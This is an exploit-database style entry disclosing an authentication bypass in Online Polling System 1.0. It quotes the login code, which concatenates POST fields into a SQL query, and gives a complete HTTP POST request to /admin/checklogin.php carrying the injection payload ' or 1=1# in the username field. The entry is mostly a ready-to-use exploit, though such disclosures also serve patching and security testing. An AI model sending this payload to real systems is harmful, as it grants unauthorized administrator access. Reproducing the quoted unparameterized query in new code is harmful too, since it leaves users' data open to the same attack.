[webapps] Online Polling System 1.0 - Authentication Bypass

# Exploit Title: Online Polling System 1.0 - Authentication Bypass # Date: 2020-07-20 # Author: AppleBois # Version: NULL # Software Link: https://www.sourcecodester.com/php/14330/online-polling-system.html # # Administration Control Panel || Authentication Bypass # Unthenticated User perform SQL Injection bypass login mechanism on /admin/checklogin.php # ###################################################################################### #Vulnerable Code # #$myusername=$_POST['myusername']; #$mypassword=$_POST['mypassword']; #$encrypted_mypassword=md5($mypassword); # #$result=mysqli_query($conn, "SELECT * FROM `tbadministrators` WHERE email='$myusername' and password='$encrypted_mypassword'"); # #$count=mysqli_num_rows($result); # #if($count==1){ # #$user = mysqli_fetch_assoc($result); #$_SESSION['member_id'] = $user['member_id']; #header("location:student.php"); #} # ###################################################################################### POST /admin/checklogin.php HTTP/1.1 Host: 10.10.10.2:81 Content-Length: 53 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://10.10.10.2:81 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://10.10.10.2:81/online/index.php Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: ASP.NET_SessionId=vbrb31kd3s5hmz3uobg0smck; UserSettings=language=1; dnn_IsMobile=False; .ASPXANONYMOUS=VA9hDh-1Ldg0FPbBfd9HAWSTqKjasYcZMlHQnpPaoR5WQipK7Q_kKnAlAqfWp0WgtO8HXH2_Tsrhfh-Z7137cng_MeEp3aiMPswVEPZc-UOdZQTp0; __RequestVerificationToken_L0ROTg2=Js5PUWl0BiY3kJLdEPU2oEna_UsEFTrNQiGY986uBwWdRyVDxr2ItTPSUBd07QX6rRyfXQ2; USERNAME_CHANGED=; language=en-US; authentication=DNN; .DOTNETNUKE=CC547735526446773F995D833FACDA646745AE4409516EBF345F1AC725F7D7CE7BFC420BF5EFE9FE2AEC92B04C89CCD2E64C34BA4E195D7D8D6EED7892574DB3FF02599F; ICMSSESSION=mgnp26oubn7hfc590q6j5c9o70; PHPSESSID=1gpgmmltf6uk3ju3aakgd0s8m5 Connection: close myusername=' or 1=1#&mypassword=ad&Submit=Login